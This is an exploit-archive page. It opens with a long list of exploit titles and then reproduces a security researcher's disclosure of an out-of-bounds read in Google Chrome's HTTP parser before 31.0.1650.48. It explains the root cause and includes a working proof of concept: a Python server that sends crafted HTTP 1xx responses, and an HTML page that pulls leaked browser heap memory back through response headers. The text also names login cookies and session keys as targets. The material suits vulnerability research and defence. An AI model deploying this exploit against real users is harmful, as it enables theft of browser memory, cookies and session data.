
9 new exploits Apache 2.2 - (Windows) Local Denial of Service Apache 2.2 (Windows) - Local Denial of Service Apache 1.3.x + Tomcat 4.0.x/4.1.x Mod_JK - Chunked Encoding Denial of Service Apache 1.3.x + Tomcat 4.0.x/4.1.x (Mod_JK) - Chunked Encoding Denial of Service Apache 2.4.7 mod_status - Scoreboard Handling Race Condition Apache 2.4.7 (mod_status) - Scoreboard Handling Race Condition Google Chrome < 31.0.1650.48 - HTTP 1xx base::StringTokenizerT<...>::QuickGetNext Out-of-Bounds Read Apache 1.3.31 mod_include - Local Buffer Overflow Apache 1.3.31 (mod_include) - Local Buffer Overflow Gopher 3.0.9 - (+VIEWS) Remote Client Side Buffer Overflow Gopher 3.0.9 - (+VIEWS) Remote Client-Side Buffer Overflow Apache 'Mod_Auth_OpenID' - Session Stealing Apache (Mod_Auth_OpenID) - Session Stealing Apache 2.0.4x mod_php Module - File Descriptor Leakage (1) Apache 2.0.4x mod_php Module - File Descriptor Leakage (2) Apache 2.0.4x (mod_php) - File Descriptor Leakage (1) Apache 2.0.4x (mod_php) - File Descriptor Leakage (2) Apache 2.0.4x mod_perl Module - File Descriptor Leakage (3) Apache 2.0.4x (mod_perl) - File Descriptor Leakage (3) Apache 1.3.x mod_include - Local Buffer Overflow Apache 1.3.x (mod_include) - Local Buffer Overflow Naenara Browser 3.5 (RedStar 3.0 Desktop) - 'JACKRABBIT' Client-Side Command Execution Apport 2.x (Ubuntu Desktop 12.10 < 16.04) - Local Code Execution RedStar 3.0 Server - 'BEAM & RSSMON' Command Execution (Shellshock) Google Chrome + Fedora 25 / Ubuntu 16.04 - 'tracker-extract' / 'gnome-video-thumbnailer' + 'totem' Drive-By Download Apache 1.3.x mod_mylo - Remote Code Execution Apache 1.3.x (mod_mylo) - Remote Code Execution Apache 1.3.x < 2.0.48 - mod_userdir Remote Users Disclosure Apache 1.3.x < 2.0.48 (mod_userdir) - Remote Users Disclosure Apache mod_ssl (< 2.8.7) OpenSSL - 'OpenFuckV2.c' Remote Exploit (2) Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuckV2.c' Remote Exploit (2) Mozilla Firefox 3.5 - (Font tags) Remote Heap Spray Exploit (2) Mozilla Firefox 3.5 - (Font tags) Remote Heap Spray Apache mod_perl 'Apache::Status' and 'Apache2::Status' - Cross-Site Scripting Apache (mod_perl) - 'Apache::Status' / 'Apache2::Status' Cross-Site Scripting Apache 2.2.14 mod_isapi - Dangling Pointer Remote SYSTEM Exploit Apache 2.2.14 (mod_isapi) - Dangling Pointer Remote SYSTEM Exploit Apache (Windows x86) - (Windows x86) Chunked Encoding (Metasploit) Apache (Windows x86) - Chunked Encoding (Metasploit) Apache mod_proxy - Reverse Proxy Exposure (PoC) Apache (mod_proxy) - Reverse Proxy Exposure (PoC) Apache 1.3.20 - Win32 PHP.exe Remote File Disclosure Apache 1.3.20 (Win32) - 'PHP.exe' Remote File Disclosure Apache mod_ssl (< 2.8.7) OpenSSL - 'OpenFuck.c' Remote Exploit (1) Apache mod_ssl < 2.8.7 OpenSSL - 'OpenFuck.c' Remote Exploit (1) Joomla! Component 'com_media' - Arbitrary File Upload (Metasploit) Joomla! Component Media Manager - Arbitrary File Upload (Metasploit) Apache 2.2.6 - 'mod_negotiation' HTML Injection and HTTP Response Splitting Apache 2.2.6 (mod_negotiation) - HTML Injection and HTTP Response Splitting Apache 7.0.x 'mod_proxy'- Reverse Proxy Security Bypass Apache 7.0.x (mod_proxy) - Reverse Proxy Security Bypass Apache 2.2.15 - 'mod_proxy' Reverse Proxy Security Bypass Apache 2.2.15 (mod_proxy) - Reverse Proxy Security Bypass Apache 'mod_wsgi' Module - Information Disclosure Apache (mod_wsgi) - Information Disclosure Joomla! Component 'com_jp_jobs' 1.4.1 - SQL Injection Joomla! Component JP Jobs 1.4.1 - SQL Injection Joomla! Component 'com_joomlapicasa' 2.0 - Local File Inclusion Joomla! Component Picasa 2.0 - Local File Inclusion Joomla! Component 'com_jinventory' - Local File Inclusion Joomla! Component JInventory 1.23.02 - Local File Inclusion Joomla! Component 'com_loginbox' - Local File Inclusion Joomla! Component LoginBox - Local File Inclusion Joomla! Component 'com_Joomlaupdater' - Local File Inclusion Joomla! Component Magic Updater - Local File Inclusion Joomla! Component 'com_news_portal' 1.5.x - Local File Inclusion Joomla! Component 'com_fss' 1.3 - 'faqid' Parameter SQL Injection Joomla! Component News Portal 1.5.x - Local File Inclusion Joomla! Component Freestyle FAQ Lite 1.3 - 'faqid' Parameter SQL Injection Joomla! Component 'com_jwhmcs' 1.5.0 - Local File Inclusion Joomla! Component 'com_jukebox' 1.7 - Local File Inclusion Joomla! Component 'com_Joomlaflickr' 1.0 - Local File Inclusion Joomla! Component 'com_hsconfig' 1.5 - Local File Inclusion Joomla! Component 'com_fabrik' 2.0 - Local File Inclusion Joomla! Component 'com_datafeeds' 880 - Local File Inclusion Joomla! Component J!WHMCS Integrator 1.5.0 - Local File Inclusion Joomla! Component Juke Box 1.7 - Local File Inclusion Joomla! Component Joomla Flickr 1.0 - Local File Inclusion Joomla! Component Highslide 1.5 - Local File Inclusion Joomla! Component Fabrik 2.0 - Local File Inclusion Joomla! Component Affiliate Datafeeds 880 - Local File Inclusion Joomla! Component 'com_foobla_suggestions' 1.5.1.2 - Local File Inclusion Joomla! Component 'com_javoice' - Local File Inclusion Joomla! Component Foobla Suggestions 1.5.1.2 - Local File Inclusion Joomla! Component JA Voice 2.0 - Local File Inclusion Joomla! Component 'com_jfeedback' - Local File Inclusion Joomla! Component 'com_jprojectmanager' - Local File Inclusion Joomla! Component Jfeedback 1.2 - Local File Inclusion Joomla! Component JProject Manager 1.0 - Local File Inclusion Joomla! Component 'com_mv_restaurantmenumanager' 1.5.2 - SQL Injection Joomla! Component Multi-Venue Restaurant Menu Manager 1.5.2 - SQL Injection Joomla! Component 'com_horoscope' - Local File Inclusion Joomla! Component Horoscope 1.5.0 - Local File Inclusion Joomla! Component 'com_market' - Local File Inclusion Joomla! Component Online Market 2.x - Local File Inclusion Joomla! Component 'com_jvehicles' - 'aid' Parameter SQL Injection Joomla! Component 'com_jp_jobs' 1.2.0 - 'id' Parameter SQL Injection Joomla! Component Jvehicles 1.0/2.0 - 'aid' Parameter SQL Injection Joomla! Component JP Jobs 1.2.0 - 'id' Parameter SQL Injection Joomla! Component 'com_mtfireeagle' - Local File Inclusion Joomla! Component 'com_mediamall' - Blind SQL Injection Joomla! Component 'com_lovefactory' - Local File Inclusion Joomla! Component 'com_jacomment' - Local File Inclusion Joomla! Component MT Fire Eagle 1.2 - Local File Inclusion Joomla! Component Media Mall Factory 1.0.4 - Blind SQL Injection Joomla! Component Love Factory 1.3.4 - Local File Inclusion Joomla! Component JA Comment - Local File Inclusion Joomla! Component 'com_iproperty' 1.5.3 - 'id' Parameter SQL Injection Joomla! Component Intellectual Property 1.5.3 - 'id' Parameter SQL Injection Joomla! Component 'com_joltcard' - SQL Injection Joomla! Component JoltCard 1.2.1 - SQL Injection Joomla! Component 'com_gadgetfactory' - Local File Inclusion Joomla! Component 'com_matamko' - Local File Inclusion Joomla! Component 'com_multiroot' - Local File Inclusion Joomla! Component 'com_multimap' - Local File Inclusion Joomla! Component 'com_drawroot' - Local File Inclusion Joomla! Component Gadget Factory 1.0.0 - Local File Inclusion Joomla! Component Matamko 1.01 - Local File Inclusion Joomla! Component iNetLanka Multiple root 1.0 - Local File Inclusion Joomla! Component iNetLanka Multiple Map 1.0 - Local File Inclusion Joomla! Component iNetLanka Contact Us Draw Root Map 1.1 - Local File Inclusion Joomla! Component 'com_if_surfalert' - Local File Inclusion Joomla! Component iF surfALERT 1.2 - Local File Inclusion Joomla! Component 'com_gbufacebook' 1.0.5 - SQL Injection Joomla! Component GBU Facebook 1.0.5 - SQL Injection Joomla! Component 'com_jnewspaper' - 'cid' Parameter SQL Injection Joomla! Component 'com_jtm' 1.9 Beta - SQL Injection Joomla! Component Online News Paper Manager 1.0 - 'cid' Parameter SQL Injection Joomla! Component JTM Reseller 1.9 Beta - SQL Injection Joomla! Component 'com_mmsblog' - Local File Inclusion Joomla! Component MMS Blog 2.3.0 - Local File Inclusion Joomla! Component 'com_noticeboard' - Local File Inclusion Joomla! Component NoticeBoard 1.3 - Local File Inclusion Joomla! Component 'com_graphics' 1.0.6 - Local File Inclusion Joomla! Component Graphics 1.0.6 - Local File Inclusion Joomla! Component 'com_newsfeeds' - SQL Injection Joomla! Component Newsfeeds - SQL Injection Joomla! Component 'com_konsultasi' - 'sid' Parameter SQL Injection Joomla! Component Komento 1.0.0 - 'sid' Parameter SQL Injection Joomla! Component 'com_dioneformwizard' - Local File Inclusion Joomla! Component FDione Form Wizard 1.0.2 - Local File Inclusion Joomla! Component 'com_jejob' 1.0 - Local File Inclusion Joomla! Component JE Job 1.0 - Local File Inclusion Joomla! Component 'com_jequoteform' - Local File Inclusion Joomla! Component JE Quotation Form 1.0b1 - Local File Inclusion Joomla! Component 'com_mscomment' 0.8.0b - Local File Inclusion Joomla! Component MS Comment 0.8.0b - Local File Inclusion Apache Axis2 Administration console - Authenticated Cross-Site Scripting Apache Axis2 Administration Console - Authenticated Cross-Site Scripting Joomla! Component 'com_mycar' - Multiple Vulnerabilities Joomla! Component My Car 1.0 - Multiple Vulnerabilities Joomla! Component 'com_jejob' 1.0 - 'catid' Parameter SQL Injection Joomla! Component JE Job 1.0 - 'catid' Parameter SQL Injection Joomla! Component 'com_jsjobs' - SQL Injection Joomla! Component JS Jobs 1.0.5.8 - SQL Injection Joomla! Component 'com_djartgallery' - Multiple Vulnerabilities Joomla! Component DJ-ArtGallery 0.9.1 - Multiple Vulnerabilities Joomla! Component 'com_gamesbox' 1.0.2 - 'id' SQL Injection Joomla! Component Gamesbox 1.0.2 - 'id' Parameter SQL Injection Joomla! Component 'com_eventcal' 1.6.4 - Blind SQL Injection Joomla! Component eventCal 1.6.4 - Blind SQL Injection Joomla! Component 'com_ninjamonials' - Blind SQL Injection Joomla! Component NinjaMonials - Blind SQL Injection Joomla! Component 'com_neorecruit' - 'Itemid' Parameter Blind SQL Injection Joomla! Component NeoRecruit 1.6.4 - 'Itemid' Parameter Blind SQL Injection Joomla! Component 'com_golfcourseguide' 0.9.6.0 - SQL Injection Joomla! Component 'com_huruhelpdesk' - SQL Injection Joomla! Component Golf Course Guide 0.9.6.0 - SQL Injection Joomla! Component Huru Helpdesk - SQL Injection Joomla! Component 'com_joomdle' 0.24 - SQL Injection Joomla! Component Joomdle 0.24 - SQL Injection Joomla! Component 'com_Joomla-visites' - Remote File Inclusion Joomla! Component Visites 1.1 RC2 - Remote File Inclusion Joomla! Component 'com_jefaqpro' - Multiple Blind SQL Injection Joomla! Component JE FAQ Pro 1.5.0 - Multiple Blind SQL Injection Joomla! Component 'com_magazine' 3.0.1 - Remote File Inclusion Joomla! Component iJoomla Magazine 3.0.1 - Remote File Inclusion Joomla! Component 'com_gantry' 3.0.10 - Blind SQL Injection Joomla! Component Gantry 3.0.10 - Blind SQL Injection Joomla! Component 'com_jphone' - Local File Inclusion Joomla! Component Jphone 1.0 Alpha 3 - Local File Inclusion Joomla! Component 'com_jgen' - SQL Injection Joomla! Component JGen 0.9.33 - SQL Injection Joomla! Component 'com_ezautos' - SQL Injection Joomla! Component Joostina - SQL Injection Joomla! Component 'com_jeguestbook' 1.0 - Multiple Vulnerabilities Joomla! Component JE Guestbook 1.0 - Multiple Vulnerabilities Joomla! Component 'com_jedirectory' - SQL Injection Joomla! Component JE Directory 1.0 - SQL Injection Joomla! Component 'com_jscalendar' 1.5.1 - Multiple Vulnerabilities Joomla! Component JS Calendar 1.5.1 - Multiple Vulnerabilities Joomla! Component 'com_jeajaxeventcalendar' - SQL Injection Joomla! Component JE Ajax Event Calendar - SQL Injection Joomla! Component 'com_flipwall' - SQL Injection Joomla! Component Pulse Infotech Flip Wall - SQL Injection Joomla! Component 'com_jquarks4s' 1.0.0 - Blind SQL Injection Joomla! Component JQuarks4s 1.0.0 - Blind SQL Injection Joomla! Component 'com_jsupport' - Cross-Site Scripting Joomla! Component 'com_jsupport' - SQL Injection Joomla! Component JSupport 1.5.6 - Cross-Site Scripting Joomla! Component JSupport 1.5.6 - SQL Injection Joomla! Component 'com_jimtawl' - Local File Inclusion Joomla! Component Jimtawl 1.0.2 - Local File Inclusion phpMyAdmin - Client Side Code Injection / Redirect Link Falsification phpMyAdmin - Client-Side Code Injection / Redirect Link Falsification Joomla! Component 'com_jeauto' 1.0 - SQL Injection Joomla! Component JE Auto 1.0 - SQL Injection Joomla! Component 'com_jradio' - Local File Inclusion Joomla! Component JRadio - Local File Inclusion Joomla! Component 'com_jotloader' 2.2.1 - Local File Inclusion Joomla! Component JotLoader 2.2.1 - Local File Inclusion Joomla! Component 'com_hmcommunity' - Multiple Vulnerabilities Joomla! Component HM Community - Multiple Vulnerabilities Joomla! Component 'com_estateagent' - SQL Injection Joomla! Component Estate Agent - SQL Injection EPortfolio 1.0 - Client Side Input Validation EPortfolio 1.0 - Client-Side Input Validation ActiveWeb Contentserver 5.6.2929 CMS - Client Side Filtering Bypass ActiveWeb Contentserver 5.6.2929 CMS - Client-Side Filtering Bypass Joomla! Component 'com_komento' 1.7.2 - Persistent Cross-Site Scripting Joomla! Component 'com_jvcomment' 3.0.2 - 'id' Parameter SQL Injection Joomla! Component Komento 1.7.2 - Persistent Cross-Site Scripting Joomla! Component JV Comment 3.0.2 - 'id' Parameter SQL Injection Joomla! Component 'com_jcomments' 2.1 - 'ComntrNam' Parameter Cross-Site Scripting Joomla! Component JComments 2.1 - 'ComntrNam' Parameter Cross-Site Scripting Joomla! Component 'com_clubmanager' - 'cm_id' Parameter SQL Injection Joomla! Component Club Manager - 'cm_id' Parameter SQL Injection Joomla! Component 'com_jstore' - 'Controller' Parameter Local File Inclusion Joomla! Component Jstore - 'Controller' Parameter Local File Inclusion Joomla! Component 'com_ecommercewd' 1.2.5 - SQL Injection Joomla! Component ECommerce-WD 1.2.5 - SQL Injection Joomla! Component 'com_contactformmaker' 1.0.1 - SQL Injection Joomla! Component Contact Form Maker 1.0.1 - SQL Injection Joomla! Component 'com_kp' - 'Controller' Parameter Local File Inclusion Joomla! Component com_kp - 'Controller' Parameter Local File Inclusion Joomla! Component 'com_helpdeskpro' < 1.4.0 - Multiple Vulnerabilities Joomla! Component Helpdesk Pro < 1.4.0 - Multiple Vulnerabilities Wordpress Plugin WP Support Plus Responsive Ticket System 7.1.3 - SQL Injection Wordpress Plugin WP Private Messages 1.0.1 - SQL Injection WordPress Plugin 404 Redirection Manager 1.0 - SQL Injection ntop-ng 2.5.160805 - Username Enumeration
308 lines
No EOL
17 KiB
Python
Executable file
308 lines
No EOL
17 KiB
Python
Executable file
'''
|
||
|
||
Source: http://blog.skylined.nl/20161219001.html
|
||
|
||
Synopsis
|
||
|
||
A specially crafted HTTP response can allow a malicious web-page to trigger a out-of-bounds read vulnerability in Google Chrome. The data is read from the main process' memory.
|
||
|
||
Known affected software, attack vectors and potential mitigations
|
||
|
||
Google Chrome up to, but not including, 31.0.1650.48
|
||
|
||
An attacker would need to get a target user to open a specially crafted web-page. Disabling JavaScript does not prevent an attacker from triggering the vulnerable code path, but may prevent exfiltration of information.
|
||
Since the affected code has not been changed since 2009, I assume this affects all versions of Chrome released in the last few years.
|
||
|
||
Details
|
||
|
||
The HttpStreamParser class is used to send HTTP requests and receive HTTP responses. Its read_buf_ member is a buffer used to store HTTP response data received from the server. Parts of the code are written under the assumption that the response currently being parsed is always stored at the start of this buffer (as returned by read_buf_->StartOfBuffer()), other parts take into account that this may not be the case (read_buf_->StartOfBuffer() + read_buf_unused_offset_). In most cases, responses are removed from the buffer once they have been parsed and any superfluous data is moved to the beginning of the buffer, to be treated as part of the next response. However, the code special cases HTTP 1xx replies and returns a result without removing the request from the buffer. This means that the response to the next request will not be stored at the start of the buffer, but after this HTTP 1xx response and read_buf_unused_offset_ should be used to find where it starts.
|
||
|
||
The code that special cases HTTP 1xx responses is:
|
||
|
||
if (end_of_header_offset == -1) {
|
||
<<<snip>>>
|
||
} else {
|
||
// Note where the headers stop.
|
||
read_buf_unused_offset_ = end_of_header_offset;
|
||
|
||
if (response_->headers->response_code() / 100 == 1) {
|
||
// After processing a 1xx response, the caller will ask for the next
|
||
// header, so reset state to support that. We don't just skip these
|
||
// completely because 1xx codes aren't acceptable when establishing a
|
||
// tunnel.
|
||
io_state_ = STATE_REQUEST_SENT;
|
||
response_header_start_offset_ = -1;
|
||
<<<Note: the code above does not remove the HTTP 1xx response from the
|
||
buffer.>>>
|
||
} else {
|
||
<<<Note: the code that follows either removes the response from the buffer
|
||
immediately, or expects it to be removed in a call to
|
||
ReadResponseBody later.>>>
|
||
<<<snip>>>
|
||
return result;
|
||
}
|
||
|
||
A look through the code has revealed one location where this can lead to a security issue (also in DoReadHeadersComplete). The code uses an offset from the start of the buffer (rather than the start of the current responses) to pass as an argument to a DoParseResponseHeaders.
|
||
|
||
if (result == ERR_CONNECTION_CLOSED) {
|
||
<<<snip>>>
|
||
// Parse things as well as we can and let the caller decide what to do.
|
||
int end_offset;
|
||
if (response_header_start_offset_ >= 0) {
|
||
io_state_ = STATE_READ_BODY_COMPLETE;
|
||
end_offset = read_buf_->offset();
|
||
<<<Note: "end_offset" is relative to the start of the buffer>>>
|
||
} else {
|
||
io_state_ = STATE_BODY_PENDING;
|
||
end_offset = 0;
|
||
<<<Note: "end_offset" is relative to the start of the current response
|
||
i.e. start + read_buf_unused_offset_.>>>
|
||
}
|
||
int rv = DoParseResponseHeaders(end_offset);
|
||
<<<snip>>>
|
||
DoParseResponseHeaders passes the argument unchanged to HttpUtil::AssembleRawHeaders:
|
||
|
||
int HttpStreamParser::DoParseResponseHeaders(int end_offset) {
|
||
scoped_refptr<HttpResponseHeaders> headers;
|
||
if (response_header_start_offset_ >= 0) {
|
||
headers = new HttpResponseHeaders(HttpUtil::AssembleRawHeaders(
|
||
read_buf_->StartOfBuffer() + read_buf_unused_offset_, end_offset));
|
||
<<<snip>>>
|
||
|
||
The HttpUtil::AssembleRawHeaders method takes two arguments: a pointer to a buffer, and the length of the buffer. The pointer is calculated correctly (in DoParseResponseHeaders) and points to the start of the current response. The length is the offset that was calculated incorrectly in DoReadHeadersComplete. If the current response is preceded by a HTTP 1xx response in the buffer, this length is larger than it should be: the calculated value will be the correct length plus the size of the previous HTTP 1xx response (read_buf_unused_offset_).
|
||
|
||
std::string HttpUtil::AssembleRawHeaders(const char* input_begin,
|
||
int input_len) {
|
||
std::string raw_headers;
|
||
raw_headers.reserve(input_len);
|
||
|
||
const char* input_end = input_begin + input_len;
|
||
input_begin was calculated as read_buf_->StartOfBuffer() + read_buf_unused_offset_,
|
||
input_len was incorrectly calculated as len(headers) + read_buf_unused_offset_,
|
||
input_end will be read_buf_->StartOfBuffer() + 2 * read_buf_unused_offset_ + len(headers)
|
||
input_end is now beyond the end of the actual headers. The code will continue to rely on this incorrect value to try to create a copy of the headers, inadvertently making a copy of data that is not part of this response and may not even be part of the read_buf_ buffer. This could cause the code to copy data from memory that is stored immediately after read_buf_ into a string that represents the response headers. This string is passed to the renderer process that made the request, allowing a web-page inside the sandbox to read memory from the main process' heap.
|
||
|
||
An ASCII diagram might be useful to illustrate what is going on:
|
||
|
||
read_buf_: "HTTP 100 Continue\r\n...HTTP XXX Current response\r\n...Unused..."
|
||
read_buf_->StartOfBuffer() -----^
|
||
read_buf_->capacity() ----------[================================================================]
|
||
read_buf_->offset() ------------[=======================================================]
|
||
read_buf_unused_offset_ -------[=======================]
|
||
|
||
DoReadHeadersComplete/DoParseResponseHeaders:
|
||
end_offset ---------------------[=======================================================]
|
||
|
||
AssembleRawHeaders:
|
||
input_begin ---------------------------------------------^
|
||
input_len ----------------------------------------------[========================================###############]
|
||
error in input_len value --------------------------------------------------------------[========###############]
|
||
(== read_buf_unused_offset_)
|
||
Memory read from the main process' heap ---------------------------------------------------------[##############]
|
||
|
||
Repro
|
||
|
||
The below proof-of-concept consist of a server that hosts a simple web-page. This web-page uses XMLHttpRequest to make requests to the server. The server responds with a carefully crafted reply to exploit the vulnerability and leak data from the main process' memory in the HTTP headers of the response. The web-page then uses getAllResponseHeaders() to read the leaked data, and posts it to the server, which displays the memory. The PoC makes no attempt to influence the layout of the main process' memory, so arbitrary data will be shown and access violation may occur which crash Chrome. With the PoC loaded in one tab, simply browsing the internet in another might show some leaked information from the pages you visit.
|
||
|
||
PoC.py:
|
||
'''
|
||
|
||
import BaseHTTPServer, json, sys, socket;
|
||
|
||
def sploit(oHTTPServer, sBody):
|
||
iReadSize = 2048;
|
||
# The size of the HTTP 1xx response determines how many bytes can be read beyond the next response.
|
||
# This HTTP 1xx response is padded to allow reading the desired amount of bytes:
|
||
sFirstResponse = pad("HTTP/1.1 100 %s\r\n\r\n", iReadSize);
|
||
oHTTPServer.wfile.write(sFirstResponse);
|
||
# The size of the second response determines where in the buffer reading of data beyond the response starts.
|
||
# For a new connection, the buffer start empty and grows in 4K increments. If the HTTP 1xx response and the second
|
||
# response have a combined size of less then 4K, the buffer will be 4K in size. If the second response is padded
|
||
# correctly, the first byte read beyond it will be the first byte beyond the buffer, which increases the chance of
|
||
# reading something useful.
|
||
sSecondResponse = pad("HTTP/1.1 200 %s\r\nx: x", 4 * 1024 - 1 - len(sFirstResponse));
|
||
oHTTPServer.wfile.write(sSecondResponse);
|
||
oHTTPServer.wfile.close();
|
||
|
||
if sBody:
|
||
sLeakedMemory = json.loads(sBody);
|
||
assert sLeakedMemory.endswith("\r\n"), \
|
||
"Expected CRLF is missing: %s" % repr(sLeakedMemory);
|
||
asLeakedMemoryChunks = sLeakedMemory[:-2].split("\r\n");
|
||
sFirstChunk = None;
|
||
for sLeakedMemoryChunk in asLeakedMemoryChunks:
|
||
if sLeakedMemoryChunk.startswith("x: x"):
|
||
sFirstChunk = sLeakedMemoryChunk[4:];
|
||
if sFirstChunk:
|
||
dump(sFirstChunk);
|
||
asLeakedMemoryChunks.remove(sLeakedMemoryChunk);
|
||
if len(asLeakedMemoryChunks) == 1:
|
||
print "A CR/LF/CRLF separates the above memory chunk from the below chunk:";
|
||
elif len(asLeakedMemoryChunks) > 1:
|
||
print "A CR/LF/CRLF separates the above memory chunk from the below chunks, their original order is unknown:";
|
||
for sLeakedMemoryChunk in asLeakedMemoryChunks:
|
||
dump(sLeakedMemoryChunk);
|
||
break;
|
||
else:
|
||
dump(sLeakedMemory);
|
||
|
||
class RequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
||
def handle_one_request(self, *txArgs, **dxArgs):
|
||
try:
|
||
return BaseHTTPServer.BaseHTTPRequestHandler.handle_one_request(self, *txArgs, **dxArgs);
|
||
except socket.error:
|
||
pass;
|
||
def do_GET(self):
|
||
self.do_GET_or_POST();
|
||
def do_POST(self):
|
||
self.do_GET_or_POST();
|
||
|
||
def __sendFileResponse(self, iCode, sFilePath):
|
||
try:
|
||
oFile = open(sFilePath, "rb");
|
||
sContent = oFile.read();
|
||
oFile.close();
|
||
except:
|
||
self.__sendResponse(500, "Cannot find %s" % sFilePath);
|
||
else:
|
||
self.__sendResponse(iCode, sContent);
|
||
def __sendResponse(self, iCode, sContent):
|
||
self.send_response(iCode);
|
||
self.send_header("accept-ranges", "bytes");
|
||
self.send_header("cache-control", "no-cache, must-revalidate");
|
||
self.send_header("content-length", str(len(sContent)));
|
||
self.send_header("content-type", "text/html");
|
||
self.send_header("date", "Sat Aug 28 1976 09:15:00 GMT");
|
||
self.send_header("expires", "Sat Aug 28 1976 09:15:00 GMT");
|
||
self.send_header("pragma", "no-cache");
|
||
self.end_headers();
|
||
self.wfile.write(sContent);
|
||
self.wfile.close();
|
||
|
||
def do_GET_or_POST(self):
|
||
try:
|
||
try:
|
||
iContentLength = int(self.headers.getheader("content-length"));
|
||
except:
|
||
sBody = "";
|
||
else:
|
||
sBody = self.rfile.read(iContentLength);
|
||
if self.path in gdsFiles:
|
||
return self.__sendFileResponse(200, gdsFiles[self.path]);
|
||
elif self.path in gdsFunctions:
|
||
return gdsFunctions[self.path](self, sBody);
|
||
else:
|
||
return self.__sendResponse(404, "Not found");
|
||
except:
|
||
self.server.server_close();
|
||
raise;
|
||
|
||
def pad(sTemplate, iSize):
|
||
iPadding = iSize - len(sTemplate % "");
|
||
return sTemplate % (iPadding * "A");
|
||
|
||
def dump(sMemory):
|
||
asDWords = []; iDWord = 0; asBytes = []; asChars = [];
|
||
print "-%s-.-%s-.-%s" % (
|
||
("%d DWORDS" % (len(sMemory) >> 2)).center(35, "-"),
|
||
("%d BYTES" % len(sMemory)).center(47, "-"),
|
||
"ASCII".center(16, "-"));
|
||
for iIndex in xrange(len(sMemory)):
|
||
sByte = sMemory[iIndex];
|
||
iByte = ord(sByte);
|
||
asChars.append(0x1f < iByte < 0x80 and sByte or ".");
|
||
asBytes.append("%02X" % iByte);
|
||
iBitOffset = (iIndex % 4) * 8;
|
||
iDWord += iByte << iBitOffset;
|
||
if iBitOffset == 24 or (iIndex == len(sMemory) - 1):
|
||
asDWords.append({
|
||
0: " %02X",
|
||
8: " %04X",
|
||
16:" %06X",
|
||
24:"%08X"
|
||
}[iBitOffset] % iDWord);
|
||
iDWord = 0;
|
||
if (iIndex % 16 == 15) or (iIndex == len(sMemory) - 1):
|
||
print " %-35s | %-47s | %s" % (" ".join(asDWords), " ".join(asBytes), "".join(asChars));
|
||
asDWords = []; asBytes = []; asChars = [];
|
||
|
||
if __name__ == "__main__":
|
||
gdsFiles = {
|
||
"/": "proxy.html",
|
||
}
|
||
gdsFunctions = {
|
||
"/sploit": sploit,
|
||
}
|
||
txAddress = ("localhost", 28876);
|
||
oHTTPServer = BaseHTTPServer.HTTPServer(txAddress, RequestHandler);
|
||
print "Serving at: http://%s:%d" % txAddress;
|
||
try:
|
||
oHTTPServer.serve_forever();
|
||
except KeyboardInterrupt:
|
||
pass;
|
||
oHTTPServer.server_close();
|
||
|
||
'''
|
||
Proxy.html:
|
||
|
||
<!doctype html>
|
||
<html>
|
||
<head>
|
||
<script>
|
||
var iThreads = 1; // number of simultanious request "threads", higher = faster extraction of data
|
||
var iDelay = 1000; // delay between requests in each "thread", lower = faster extraction of data
|
||
function requestLoop(sDataToSend) {
|
||
var oXMLHttpRequest = new XMLHttpRequest();
|
||
oXMLHttpRequest.open("POST", "/sploit", true);
|
||
oXMLHttpRequest.onreadystatechange = function () {
|
||
if (oXMLHttpRequest.readyState === 4) {
|
||
if (oXMLHttpRequest.status == 200) {
|
||
var sHeaders = oXMLHttpRequest.getAllResponseHeaders();
|
||
console.log("response =" + oXMLHttpRequest.status + " " + oXMLHttpRequest.statusText);
|
||
console.log("headers =" + sHeaders.length + ":[" + sHeaders + "]");
|
||
if (iDelay > 0) {
|
||
setTimeout(function() {
|
||
requestLoop(sHeaders);
|
||
}, iDelay);
|
||
} else {
|
||
requestLoop(sHeaders);
|
||
}
|
||
} else {
|
||
document.write("Server failed!");
|
||
}
|
||
}
|
||
}
|
||
oXMLHttpRequest.send(sDataToSend ? JSON.stringify(sDataToSend) : "");
|
||
}
|
||
window.addEventListener("load", function () {
|
||
for (var i = 0; i < iThreads; i++) requestLoop("");
|
||
}, true);
|
||
</script>
|
||
</head>
|
||
<body>
|
||
</body>
|
||
</html>
|
||
|
||
Exploit
|
||
|
||
The impact depends on what happens to be stored on the heap immediately following the buffer. Since a web-page can influence the activities of the main process (e.g. it can ask it to make other HTTP requests), a certain amount of control over the heap layout is possible. An attacker could attempt to create a "heap feng shui"-like attack where careful manipulation of the main process' activities allow reading of various types of information from the main process' heap. The most obvious targets that come to mind are http request/response data for different domains, such as log-in cookies, or session keys and function pointers that can be used to bypass ASLR/DEP. There are undoubtedly many other forms of interesting information that can be revealed in this way.
|
||
|
||
There are little limits to the number of times an attacker can exploit this vulnerability, assuming the attacker can avoid triggering an access violation: if the buffer happens to be stored at the end of the heap, attempts to exploit this vulnerability could trigger an access violation/segmentation fault when the code attempts to read beyond the buffer from unallocated memory addresses.
|
||
|
||
Fix
|
||
|
||
I identified and tested two approaches to fixing this bug:
|
||
|
||
- Fix the code where it relies on the response being stored at the start of the buffer.
|
||
This addresses the incorrect addressing of memory that causes this vulnerability in various parts of the code. The design to keep HTTP 1xx responses in the buffer remains unchanged.
|
||
- Remove HTTP 1xx responses from the buffer.
|
||
There was inline documentation in the source that explained why HTTP 1xx responses were handled in a special way, but it didn't make much sense to me. This fix changes the design to no longer keep the HTTP 1xx response in the buffer. There is an added benefit to this fix in that it removes a potential DoS attack, where a server responds with many large HTTP 1xx replies, all of which are kept in memory and eventually cause an OOM crash in the main process.
|
||
The later fix was eventually implemented.
|
||
|
||
Time-line
|
||
|
||
27 September 2013: This vulnerability and two patches were submitted to the Chromium bugtracker.
|
||
2 October 2013: A patch for this vulnerability was submitted by Google.
|
||
12 November 2013: This vulnerability was address in version 31.0.1650.48.
|
||
19 December 2016: Details of this vulnerability are released.
|
||
''' |